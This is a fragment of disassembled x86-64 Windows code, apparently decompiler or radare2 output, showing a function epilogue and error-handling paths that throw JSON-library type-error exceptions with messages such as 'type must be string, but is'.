mov edx, 2
mov rcx, r15
call fcn.1400842f0
xor al, al
mov rcx, qword [rsp + 0x5d0]
xor rcx, rsp
call fcn.14009a320
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.1400889f0
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
lea r8, [rsp + 0x458]
mov edx, 0xd6
lea rcx, [rsp + 0x1f0]
call fcn.14008a870
lea rdx, [0x140119db0]
lea rcx, [rsp + 0x1f0]
call fcn.14009d090
nop
call fcn.1400aedac
nop
call fcn.1400aedac
nop
call fcn.1400aedac
nop
mov rcx, r13
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rsp + 0x148]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x228]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x228]
call fcn.14009d090
nop
mov rcx, rax
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
mov rcx, qword [rsp + 0x48]
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x170]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x260]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x260]
call fcn.14009d090
nop
lea rcx, [rsp + 0x430]
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rsp + 0x1d0]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x298]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x298]
call fcn.14009d090
nop
mov rcx, r8
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
mov rcx, qword [rsp + 0x48]
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x3e8]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x408]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x2d0]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x2d0]
call fcn.14009d090
nop
mov rcx, r8
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
mov rcx, qword [rsp + 0x48]
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x1b0]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x308]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x308]
call fcn.14009d090
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x458]
call fcn.14007d160
nop
lea r8, [rsp + 0x458]
mov edx, 0xd6
lea rcx, [rsp + 0x340]
call fcn.14008a870
lea rdx, [0x140119db0]
lea rcx, [rsp + 0x340]
call fcn.14009d090
nop
call fcn.1400aedac
nop
lea rcx, [rsp + 0x440]
call fcn.1400944f0
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.14007d160
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rsp + 0x190]
call fcn.14006b340
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x3b0]
call fcn.14008b2f0
lea rdx, [0x140119e40]
lea rcx, [rsp + 0x3b0]
call fcn.14009d090
nop
call fcn.14006abc0
int3